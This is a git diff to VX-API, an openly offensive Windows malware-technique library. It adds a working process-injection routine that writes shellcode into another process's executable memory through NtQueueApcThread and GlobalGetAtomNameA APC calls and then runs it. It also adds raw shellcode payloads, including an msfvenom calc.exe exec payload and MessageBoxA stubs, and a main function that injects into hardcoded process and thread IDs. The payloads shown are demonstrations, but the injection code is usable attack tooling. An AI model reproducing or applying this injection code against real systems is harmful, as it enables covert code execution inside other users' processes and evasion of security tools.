diff --git a/README.md b/README.md index 83eb82d..d7473db 100644 --- a/README.md +++ b/README.md @@ -177,6 +177,9 @@ You're free to use this in any manner you please. You do not need to use this en | InsertDescriptorEntry | rad98 | Hooking Engine | | RemoveDescriptorEntry | rad98 | Hooking Engine | | SnapshotInsertHardwareBreakpointHookIntoTargetThread | rad98 | Hooking Engine | +| GenericShellcodeHelloWorldMessageBoxA | SafeBreach Labs | Generic Shellcode | +| GenericShellcodeHelloWorldMessageBoxAEbFbLoop | SafeBreach Labs | Generic Shellcode | +| GenericShellcodeOpenCalcExitThread | MsfVenom | Generic Shellcode | # Todo list diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h index ed704f2..cb69d31 100644 --- a/VX-API/FunctionDeclaration.h +++ b/VX-API/FunctionDeclaration.h @@ -39,6 +39,7 @@ typedef NTSTATUS(NTAPI* RTLCHARTOINTEGER)(PCHAR, ULONG, PULONG); typedef ULONG(NTAPI* RTLUNIFORM)(PULONG); typedef NTSTATUS(NTAPI* RTLCREATEPROCESSREFLECTION)(HANDLE, ULONG, PVOID, PVOID, HANDLE, RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION*); typedef NTSTATUS(NTAPI* RTLENCODEREMOTEPOINTER)(HANDLE, PVOID, PVOID*); +typedef NTSTATUS(NTAPI* NTQUEUEAPCTHREAD)(HANDLE, PVOID, PVOID, PVOID, PVOID); diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index 5573023..79b03a5 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -1,50 +1,26 @@ #include "Win32Helper.h" -int main(VOID) +INT main(VOID) { DWORD dwError = ERROR_SUCCESS; PBYTE Buffer = NULL; - //EXAMPLE PAYLOAD FOR TESTING! - //msfvenom -p windows/x64/exec EXITFUNC=thread CMD=calc.exe -f c -a x64 - //Length = 277 - unsigned char GlobalOpenCalcPayload[] = - "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" - "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" - "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" - "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" - "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" - "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" - "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" - "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" - "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" - "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" - "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" - "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" - "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" - "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" - "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" - "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" - "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" - "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" - "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" - "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; - - SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; - Sei.Payload = GlobalOpenCalcPayload; + /*SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; + Sei.Payload = (LPBYTE)GenericShellcodeOpenCalcExitThread(); Sei.dwLengthOfPayloadInBytes = 277; - Sei.MethodEnum = E_RTLUSERFIBERSTART; - DWORD dwX = 0; + Sei.MethodEnum = E_ENUMDESKTOPSW; + DWORD dwX = 0;*/ PROCESS_INJECTION_INFORMATION Pii = { 0 }; - Pii.Payload = GlobalOpenCalcPayload; - Pii.dwLengthOfPayloadInBytes = 277; - Pii.ProcessId = 31480; - Pii.MethodEnum = E_CTRL_INJECT; + Pii.Payload = (LPBYTE)GenericShellcodeHelloWorldMessageBoxAEbFbLoop(); + Pii.dwLengthOfPayloadInBytes = 70; + Pii.ProcessId = 33176; + Pii.ThreadId = 18600; + Pii.MethodEnum = E_QUEUE_USER_APC; //ShellcodeExecutionViaFunctionCallbackMain(&Sei); - //ProcessInjectionMain(&Pii); + ProcessInjectionMain(&Pii); return dwError; } diff --git a/VX-API/MiscGenericShellcodePayloads.cpp b/VX-API/MiscGenericShellcodePayloads.cpp new file mode 100644 index 0000000..c9c7b74 --- /dev/null +++ b/VX-API/MiscGenericShellcodePayloads.cpp @@ -0,0 +1,102 @@ +#include "Win32Helper.h" + +PCHAR GenericShellcodeHelloWorldMessageBoxA(VOID) +{ + UCHAR RawPayloadBuffer[] = + "\x48\xB8\x44\x44\x44\x44\x44\x44\x44\x44\x50\x48\xB8" + "\x55\x55\x55\x55\x55\x55\x55\x55\x50\x48\x31\xC9\x48" + "\x89\xE2\x49\x89\xE0\x49\x83\xC0\x08\x4D\x31\xC9\x48" + "\xB8\x33\x33\x33\x33\x33\x33\x33\x33\x48\x83\xEC\x28" + "\xD0\x48\x83\xC4\x38\x48\xB8\xEF\xBE\xAD\xDE\xFF\x00" + "\x00\x00\x00\xC3"; + + DWORD RawBufferSize = 70; + PCHAR Payload; + LONGLONG OffsetText = 0x4444444444444444; + CHAR Text[8] = "Hello!"; + LONGLONG OffsetCaption = 0x5555555555555555; + CHAR Caption[8] = "World"; + LONGLONG OffsetFunction = 0x3333333333333333; + PVOID FunctionPointer = MessageBoxA; + + Payload = (PCHAR)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, RawBufferSize); + if (Payload == NULL) + return NULL; + + CopyMemory(Payload, RawPayloadBuffer, RawBufferSize); + CopyMemory(MemoryFindMemory(Payload, RawBufferSize, (PCHAR)&OffsetText, 8), Text, 8); + CopyMemory(MemoryFindMemory(Payload, RawBufferSize, (PCHAR)&OffsetCaption, 8), Caption, 8); + CopyMemory(MemoryFindMemory(Payload, RawBufferSize, (PCHAR)&OffsetFunction, 8), &FunctionPointer, 8); + + return Payload; +} + +PCHAR GenericShellcodeHelloWorldMessageBoxAEbFbLoop(VOID) +{ + UCHAR RawPayloadBuffer[] = + "\x48\xB8\x44\x44\x44\x44\x44\x44\x44\x44\x50\x48\xB8" + "\x55\x55\x55\x55\x55\x55\x55\x55\x50\x48\x31\xC9\x48" + "\x89\xE2\x49\x89\xE0\x49\x83\xC0\x08\x4D\x31\xC9\x48" + "\xB8\x33\x33\x33\x33\x33\x33\x33\x33\x48\x83\xEC\x28" + "\xFF\xD0\x48\x83\xC4\x38\x48\xB8\xEF\xBE\xAD\xDE\x00" + "\x00\x00\x00\xEB\xFE"; + + DWORD RawBufferSize = 71; + PCHAR Payload; + LONGLONG OffsetText = 0x4444444444444444; + CHAR Text[8] = "Hello!"; + LONGLONG OffsetCaption = 0x5555555555555555; + CHAR Caption[8] = "World"; + LONGLONG OffsetFunction = 0x3333333333333333; + PVOID FunctionPointer = MessageBoxA; + + Payload = (PCHAR)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, RawBufferSize); + if (Payload == NULL) + return NULL; + + CopyMemory(Payload, RawPayloadBuffer, RawBufferSize); + CopyMemory(MemoryFindMemory(Payload, RawBufferSize, (PCHAR)&OffsetText, 8), Text, 8); + CopyMemory(MemoryFindMemory(Payload, RawBufferSize, (PCHAR)&OffsetCaption, 8), Caption, 8); + CopyMemory(MemoryFindMemory(Payload, RawBufferSize, (PCHAR)&OffsetFunction, 8), &FunctionPointer, 8); + + return Payload; +} + +PCHAR GenericShellcodeOpenCalcExitThread(VOID) +{ + //msfvenom -p windows/x64/exec EXITFUNC=thread CMD=calc.exe -f c -a x64 + //Length = 277 + + UCHAR RawPayloadBuffer[] = + "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" + "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" + "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" + "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" + "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" + "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" + "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" + "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" + "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" + "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" + "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" + "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" + "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" + "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" + "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" + "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" + "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" + "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" + "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" + "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; + + DWORD RawBufferSize = 277; + PCHAR Payload; + + Payload = (PCHAR)HeapAlloc(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, RawBufferSize); + if (Payload == NULL) + return NULL; + + CopyMemory(Payload, RawPayloadBuffer, RawBufferSize); + + return Payload; +} \ No newline at end of file diff --git a/VX-API/ProcessInjectionMain.cpp b/VX-API/ProcessInjectionMain.cpp index dd2f5b5..c9abb11 100644 --- a/VX-API/ProcessInjectionMain.cpp +++ b/VX-API/ProcessInjectionMain.cpp @@ -1,8 +1,5 @@ #include "Win32Helper.h" - -// ---------------------------------------- EXIT ROUTINE ---------------------------------------- -//EXIT_ROUTINE_CASE_0: DWORD ProcessInjectionMain(_In_ PPROCESS_INJECTION_INFORMATION Pii) { DWORD dwReturn = ERROR_SUCCESS; @@ -40,7 +37,7 @@ DWORD ProcessInjectionMain(_In_ PPROCESS_INJECTION_INFORMATION Pii) break; } - case E_CTRL_INJECT: + case E_CTRL_INJECT: //console applications only { DWORD ConsoleAttachList[2] = { 0 }; DWORD ParentId = 0; @@ -145,18 +142,68 @@ DWORD ProcessInjectionMain(_In_ PPROCESS_INJECTION_INFORMATION Pii) break; } + case E_QUEUE_USER_APC: //must use EBFB variant + { + NTQUEUEAPCTHREAD NtQueueApcThread = NULL; + HMODULE hModule = NULL; + ATOM Alpha = ERROR_SUCCESS, Bravo = ERROR_SUCCESS; + PCHAR pPayload = (PCHAR)Pii->Payload; + + hModule = GetModuleHandleEx2W(L"ntdll.dll"); + if (hModule == NULL) + break; + + NtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddressA((DWORD64)hModule, "NtQueueApcThread"); + if (!NtQueueApcThread) + break; + + hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE, Pii->ThreadId); + if (hThread == NULL) + break; + + hHandle = OpenProcess(0x001fffff, FALSE, GetProcessIdOfThread(hThread)); + if (hHandle == NULL) + break; + + BaseAddress = VirtualAllocEx(hHandle, NULL, Pii->dwLengthOfPayloadInBytes, 0x00003000, 0x00000040); + if (BaseAddress == NULL) + break; + + Bravo = GlobalAddAtomA("b"); + if (Bravo == 0) + break; + + if (pPayload[0] == '\0') + break; + + for (DWORD64 Position = Pii->dwLengthOfPayloadInBytes - 1; Position > 0; Position--) + { + if ((pPayload[Position] == '\0') && (pPayload[Position - 1] == '\0')) + NtQueueApcThread(hThread, GlobalGetAtomNameA, (PVOID)Bravo, (PVOID)(((DWORD64)BaseAddress) + Position - 1), (PVOID)2); + } + + for (PCHAR Position = pPayload; Position < (pPayload + Pii->dwLengthOfPayloadInBytes); Position += strlen(Position) + 1) + { + if (*Position == '\0') + continue; + + Alpha = GlobalAddAtomA(Position); + if (Alpha == 0) + break; + + NtQueueApcThread(hThread, GlobalGetAtomNameA, (PVOID)Alpha, (PVOID)(((DWORD64)BaseAddress) + (Position - pPayload)), (PVOID)(strlen(Position) + 1)); + } + + QueueUserAPC((PAPCFUNC)BaseAddress, hThread, 0); + + } + default: break; } if (!bFlag) dwReturn = GetLastErrorFromTeb(); - - if (BaseAddress) - { - if(hHandle) - VirtualFreeEx(hHandle, BaseAddress, ERROR_SUCCESS, MEM_RELEASE); - } if (hThread) CloseHandle(hThread); diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 76bd779..25e5376 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -166,6 +166,7 @@ + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index 6d3f9bb..df6d289 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -549,6 +549,9 @@ Source Files\String Manipulation + + Source Files\Windows API Helper Functions\Malicious Capabilities + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 2a6502c..e410077 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -163,7 +163,8 @@ inline HARDWARE_ENGINE_INIT_SETTINGS_GLOBAL GlobalHardwareBreakpointObject; typedef enum PROCESS_INJECTION_METHOD { E_WRITEPROCESSMEMORY_CREATEREMOTETHREAD_EXECUTESHELLCODE, //0 E_PROCESS_REFLECTION_EXECUTESHELLCODE, //1 UNIMPLEMENTED - E_CTRL_INJECT //2 + E_CTRL_INJECT, //2 + E_QUEUE_USER_APC //3 }PROCESS_INJECTION_METHOD, * PPROCESS_INJECTION_METHOD; typedef struct __PROCESS_INJECTION_INFORMATION { @@ -445,4 +446,13 @@ BOOL InsertDescriptorEntry(_In_ PUINT_VAR_T Address, _In_ DWORD Position, _In_ E BOOL RemoveDescriptorEntry(_In_ PUINT_VAR_T Address, _In_ DWORD Tid); BOOL SnapshotInsertHardwareBreakpointHookIntoTargetThread(_In_ PUINT_VAR_T Address, _In_ DWORD Position, _In_ BOOL Init, _In_ DWORD Tid); -INT __demonstration_WinMain(VOID); //hook sleep \ No newline at end of file +INT __demonstration_WinMain(VOID); //hook sleep + + + +/******************************************* + GENERIC SHELLCODE PAYLOADS FOR TESTINGS +*******************************************/ +PCHAR GenericShellcodeHelloWorldMessageBoxA(VOID); +PCHAR GenericShellcodeOpenCalcExitThread(VOID); +PCHAR GenericShellcodeHelloWorldMessageBoxAEbFbLoop(VOID);